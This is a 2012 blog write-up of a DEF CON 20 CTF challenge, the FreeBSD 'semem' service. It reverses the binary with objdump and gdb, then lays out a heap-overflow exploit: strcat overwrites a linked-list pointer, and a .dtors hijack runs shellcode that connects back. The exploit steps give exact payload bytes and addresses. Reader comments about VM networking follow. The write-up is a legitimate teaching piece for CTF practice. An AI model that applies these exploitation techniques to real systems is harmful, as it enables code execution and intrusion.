Monday, August 6, 2012

Defcon 20 CTF - Semem

semem: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), 
statically linked, for FreeBSD 9.0 (900044), stripped

This service listens on port 6941 on interface em1 on the first ipv6 address found. For every connection, a child is forked, privileges are dropped to the semem user and this user home is used for the chroot.

Reversing using objdump, gdb & strings

The binary being statically linked, we first need to find the syscall accept (#define SYS_accept 30):
$ objdump -D semem | grep -B 1 'int    $0x80' | grep -A1 "0x1e,"
 8091128:       b8 1e 00 00 00          mov    $0x1e,%eax   ; SYS_accept
 809112d:       cd 80                   int    $0x80

Now let's find who called it:
$ objdump -D semem | grep -B 1 'call   0x8091128'
 80487ea:       89 04 24                mov    %eax,(%esp)
 80487ed:       e8 36 89 04 00          call   0x8091128
 80c9e30:       89 04 24                mov    %eax,(%esp)
 80c9e33:       e8 f0 72 fc ff          call   0x8091128

The second match being far away in the .text segment, chances are that 0x80487ed might be are caller:
$ objdump --start-address 0x8048700 -D semem | grep 'push   %ebp' | head -2
 80487c0:       55                      push   %ebp
 8048870:       55                      push   %ebp

Let's look at 0x80487c0:
$ objdump --start-address 0x80487c0 -D semem | less

It seems to be the main loop, the connection handler argument being passed as an argument:
 8048838:       8b 45 0c                mov    0xc(%ebp),%eax
 804883b:       ff d0                   call   *%eax

(you can scroll horizontally to get the annotations)
$ objdump -D semem | grep -B5 'call   0x80487c0'
 804841c:       e8 2f 09 00 00          call   0x8048d50
 8048421:       c7 44 24 04 90 9a 04    movl   $0x8049a90,0x4(%esp)     ; connection handler
 8048428:       08 
 8048429:       8b 45 f8                mov    -0x8(%ebp),%eax
 804842c:       89 04 24                mov    %eax,(%esp)              ; socket descriptor
 804842f:       e8 8c 03 00 00          call   0x80487c0                ; main_loop(int socket, void (*callback)(int socket))

The connection handler is thus located at 0x8049a90. Everything seems fine.

Using strings, we can figure out that the Perl Compatible Regular Expression library, the BigDigits library and, obviously, the libc are statically linked with the binary.
Also, there is a reference to semem, which once followed proved to be used for dropping privileges and chrooting in the semem home.
Based on this we can easily configure a VM installed with a FreeBSD 9.0 on an IPv6 network (also, rename your interface to em1, or change its name inside the binary), add a user semem with a corresponding home and a key file in it.

Now, let's launch gdb and break on the connection handler. Don't forget about patching the fork first, since the `set follow-fork-mode child` command won't fork on *BSD. Also, let's remove the SIGALRM just in case: `handle SIGALRM nopass`.

The service is waiting for something from us, if we take a look at:

There is a one byte overflow on the stack at '-0x136(%ebp,%eax,1) <= -0x36(%ebp)' that we can overwrite to 0x00. We don't really care, since we are rejected because of the 'test %eax,%eax' statement which later test if the status '-0x144(%ebp)' is 0 to quit.
The string referenced at 0x8102114 gives: 'its peanut butter & semem time\n'. If we try this we get:
Semem generator.  Creamy salty semems for everyone!
What is your command, master?
1 - Add semem to the jar
2 - Pour it all down the drain
3 - Taste what semem exists

Selecting 'Add semem to the jar' gives us:
Who wants to be on pitcher?
Who wants to be the catcher?

What is your command, master?
1 - Pour it all down the drain
2 - Swallow semem
3 - Taste what semem exists
4 - Stir some semem
5 - Add semem to the jar

The order of the submenu is randomly selected before printing, this is not a problem since we are not a dumb bot.

Now let's play with the service. Asking for 'Taste what semem exists' displays:
31 different flavors!
1 : Hands down! - The best durn book on masturbation
2 : 'Bah' means 'yes!' -  
3 : Hackers gonna hack - Haters gonna hate
4 : Any mooses - aint anymouse
5 : DOS = WINNING -  
6 : anonymity tool? - dissident identification system!

When tracing through the binary with gdb we can easily guess that subroutine 0x0808FB60 is malloc and subroutine 0x0808E4C0 is free.
malloc is called in a loop with an argument of 1028 before the first display of the menu, which corresponds to a struct like this:
struct l2buf {
    char left[512];
    char right[512];
    struct l2buf* next;

The subroutine responsible for allocating, filling and linking the structures is 0x08049040. A quick analysis show there might be some flaw in the sense that strings larger or equal to 512 Bytes won't be null terminated. However it doesn't seem to really help us except for disturbing a little bit the display.

When continuing to play with the service, the menu item 'Stir some semem' seems quite interesting. It triggers some calls inside the libpcre code (easily guessed through the string references). Let's then analyze the corresponding subroutine located at 0x080491A0:
$ objdump --start-address 0x80491a0 -D semem | less

We can find a check on '/' in the code:
 80493a2:       3c 2f                   cmp    $0x2f,%al    ; '/'
 80493a4:       74 39                   je     0x80493df

Then another check later, and even a check on 'g'. It seems to be looking for a string looking like: '[:space:]/(perl regex)/(string)/g?[:space:]'. We can check that the 'g' at the end does what it is meant to do: replace all occurrences in the string.

When tracing this subroutine up to 0x0804960F, we can see there are calls to strcat (subroutine 0x80A7324), and not strncat:
 80495e8:       c6 00 00                movb   $0x0,(%eax)
 80495eb:       8b 45 c4                mov    -0x3c(%ebp),%eax     ; part of the string read from the socket
 80495ee:       89 44 24 04             mov    %eax,0x4(%esp)
 80495f2:       8b 45 e0                mov    -0x20(%ebp),%eax     ; pointer to buffer in linked list
 80495f5:       89 04 24                mov    %eax,(%esp)
 80495f8:       e8 27 dd 05 00          call   0x80a7324            ; strcat(char* str1, const char* str2)
 80495fd:       8b 45 dc                mov    -0x24(%ebp),%eax     ; strdup'd string from buffer in linked list
 8049600:       89 44 24 04             mov    %eax,0x4(%esp)
 8049604:       8b 45 e0                mov    -0x20(%ebp),%eax     ; pointer to buffer in linked list
 8049607:       89 04 24                mov    %eax,(%esp)
 804960a:       e8 15 dd 05 00          call   0x80a7324            ; strcat(char* str1, const char* str2)

We now have a better idea of what it does:
  • Read 64 Bytes from the socket, remove heading and trailing whitespace.
  • Check first char is '/', if endchar is 'g', set a flag to 1 and decrease length by 1
  • Check endchar is '/'
  • look for '/' in the middle and replace it by 0, save pointers to first part of the string (regex pattern) and second part of the string (replacement string)
  • use pcre to match the regex pattern
  • if pattern is found, strdup the right part of the string, strcat the left part with the replacement string, then strcat the result with the strdup'd part of the string
  • if g flag is set, repeat until all match are exhausted.

There is no check on the size of the strings when calling strcat, leading to an overflow in the heap.

From here, we can begin to write a proof of concept that will overflow a buffer from the linked list, overwriting the 'next' field:
its peanut butter & semem time
Semem generator.  Creamy salty semems for everyone!
What is your command, master?
1 - Add semem to the jar
2 - Pour it all down the drain
3 - Taste what semem exists
Who wants to be on pitcher?
Who wants to be the catcher?

What is your command, master?
1 - Add semem to the jar
2 - Swallow semem
3 - Stir some semem
4 - Taste what semem exists
5 - Pour it all down the drain
Which semem is old and crusty?
Which side should we update?
How should we update it?

With a breakpoint on 0x0804960F, we can dump the buffer in -0x20(%ebp), and verify that the next field is overwritten with 'GGGG'. Good Game. Just select the menu item 'Pour it all down the drain', the process will terminate with SIGSEGV.

The exploit

If we replace the 'GGGG' with a writable address, and then use the 'Stir some semem' command again on the index 8, we will overwrite what was at this address.

What we have here is an arbitrary write in the memory of the process. The first idea that come is to overwrite the GOT, but since it is a static binary, there is no GOT...
The second idea would be to play with the stack, however, this might prove to be unreliable. You can verify it works when using GDB to determine the correct address onto the stack to overwrite the saved EIP and replace it with the address of the first part of the buffer (instead of giving 'none' you can give a shellcode without \0 nor \n in it). Using the perl regex to find the saved eip onto the stack is still possible, but there might be some \0 that may be a problem, so bruteforcing might be necessary.
A third idea is to simply use the .dtor segement of the process. This segment is writable and holds a pointer to function which will be called when the process exits. Basically, what we want to do is some kind of atexit(shellcode).

We are still missing one information, the address of the shellcode. Since we know the address of malloc, we can set a breakpoint on it and note the address returned. Depending on the malloc configuration, the address will be mmap based (Md) or dss based (mD). Since we know all the malloc our process will call, we can predict reliably the address of the struct l2buf we add to the linked list. Since we allocate 1028 bytes, 1280 Bytes will be reserved. This gives us either 0x28425900 or 0x08425900 for our shellcode address.
Note that we want to quit cleanly, so after overwriting the .dtor segment, we need to reset the next field of the linked list with a correct address for free. Also, note that \0 is not possible to give. So the address cannot be overwritten with a 0.
Finally, pcre_exec does not match the first char of a string, so we will keep the LSB from the original DTOR address.

Let's find how it is called to set a breakpoint:

$ hexdump -C semem | grep '10 10 12 08'
000d9020  e6 c9 11 08 00 00 00 00  10 10 12 08 00 00 00 00  |................|

0x08048000 + 0xD9020 + 0x8 = 0x8121028
$ objdump -D semem | grep -A2 -B2 '0x8121028'
 80481af:       eb 31                   jmp    0x80481e2
 80481b1:       83 c0 04                add    $0x4,%eax
 80481b4:       a3 28 10 12 08          mov    %eax,0x8121028
 80481b9:       ff d2                   call   *%edx
 80481bb:       a1 28 10 12 08          mov    0x8121028,%eax
 80481c0:       8b 10                   mov    (%eax),%edx
 80481c2:       85 d2                   test   %edx,%edx

Ok, so when we quit, our shellcode address will be in %edx and called at address 0x080481B9. This is useful that it is in edx so we can encode it to avoid \0 and \n in it, and we can directly give %edx to the polymorphic decoder.

at the address 0x08121010, the normal cleaning function called is 0x080B3650. We will keep the 0x50 for the regex match, so our shellcode will start at 0x50 after the start of the left part of the buffer we fill.

The procedure is as follow:
  • Connect to the service
  • Send 'its peanut butter & semem time\n'
  • Select 'Add semem to the jar'
    • left part is 0x50*'A'+shellcode, shellcode must not contain either \0 or \n
    • right part is 0xFF*'A'+'B'
  • Select 'Add semem to the jar'
    • left part is 'none'
    • right part is 'none'
  • Select 'Stir some semem'
    • Select item 7
    • Select part 1
    • regex is '/B/C\x10\x10\x12\x08/'
  • Select 'Stir some semem'
    • Select item 8
    • Select part 0
    • regex is '/\x36\x0b\x08/\x59\x42\x28/' or '/\x36\x0b\x08/\x59\x42\x08/' in case malloc is configured with 'mD'.
  • Select 'Stir some semem'
    • Select item 7
    • Select part 1
    • regex is '/C\x10\x10\x12\x08/B\x01\x5e\x42\x28/' or '/C\x10\x10\x12\x08/B\x01\x5e\x42\x08/' in case malloc is configured with 'mD'.
  • Select 'Stir some semem'
    • Select item 7
    • Select part 1
    • regex is '/B\x01\x5e\x42\x28/A\x00\x5e\x42\x28/' (to put back the 0 in the address instead of \x01).
  • Select 'Pour it all down the drain'

Now wait for the connect back \o/

The choice of the shellcode is left to the consideration of the reader.


IDA is for pussies.


  1. I can't seem to access the services.

    Booted up the downloaded VM image using VMWare Fusion (on Mac OS X 10.8.2)

    ifconfig returns the following:

    em1: flags=8843 metric 0 mtu 1500
    ether 00:50:56:25:fd:9a
    inet6 dc20:c7f:2012:12::7 prefixlen 64
    inet6 fe80::250:56ff:fe25:fd9a%em1 prefixlen 64 scopeid 0x3
    nd6 options=29
    media: Ethernet autoselect (1000baseT )
    status: active

    [root@dc20 ~]# sockstat -6

    root cashew 1447 3 tcp6 dc20:c7f:2012:12::7:7979 *:*
    root cherry 1443 3 tcp6 dc20:c7f:2012:12::7:24359 *:*
    root coney 1439 3 tcp6 dc20:c7f:2012:12::7:65214 *:*
    root dealer 1435 4 tcp6 dc20:c7f:2012:12::7:8888 *:*
    root desheepd 1431 3 udp6 dc20:c7f:2012:12::7:547 *:*
    root dog 1427 3 tcp6 *:3146 *:*
    root gallows 1415 3 tcp6 dc20:c7f:2012:12::7:6666 *:*
    root jerkin 1395 3 tcp6 dc20:c7f:2012:12::7:63715 *:*
    root mixology 1387 3 tcp6 dc20:c7f:2012:12::7:35575 *:*
    root nancy 1379 3 tcp6 dc20:c7f:2012:12::7:57554 *:*
    root nom 1370 3 tcp6 dc20:c7f:2012:12::7:7368 *:*
    nssds nssds 1366 3 tcp6 dc20:c7f:2012:12::7:54339 *:*
    root ocrd 1362 4 tcp6 dc20:c7f:2012:12::7:31967 *:*
    root parrot 1357 3 tcp6 *:5160 *:*
    root ralph 1353 3 tcp6 dc20:c7f:2012:12::7:57553 *:*
    scool scool 1349 3 tcp6 *:4637 *:*
    root semem 1332 3 tcp6 dc20:c7f:2012:12::7:6941 *:*
    root sshd 1316 3 tcp6 *:22 *:*
    tictactoe tictactoe 1223 3 tcp6 dc20:c7f:2012:12::7:25375 *:*
    _ngircd ngircd 1210 10 tcp6 ::1:6667 *:*
    _ngircd ngircd 1210 11 tcp6 ::1:6668 *:*
    _ngircd ngircd 1210 12 tcp6 ::1:6669 *:*
    _ngircd ngircd 1210 13 tcp6 dc20:c7f:2012:12::7:6667 *:*
    _ngircd ngircd 1210 14 tcp6 dc20:c7f:2012:12::7:6668 *:*
    _ngircd ngircd 1210 15 tcp6 dc20:c7f:2012:12::7:6669 *:*
    root zul 1083 3 tcp6 dc20:c7f:2012:12::7:25201 *:*
    root syslogd 1057 6 udp6 *:514 *:*

    But i just can't seem to connect to any of the services of the form dc20:c7f:2012:12::7:, for example, being able to send/recv to/from the `semem` service running on dc20:c7f:2012:12::7, port 6941

    I've tried elementary things like `ping6` and `telnet -6` and netcat/nmap, and also python sockets, but they can't seem to connect (timeout).

    The other *: services run fine.

    Some assistance please?

  2. You need to edit /etc/rc.conf as described here: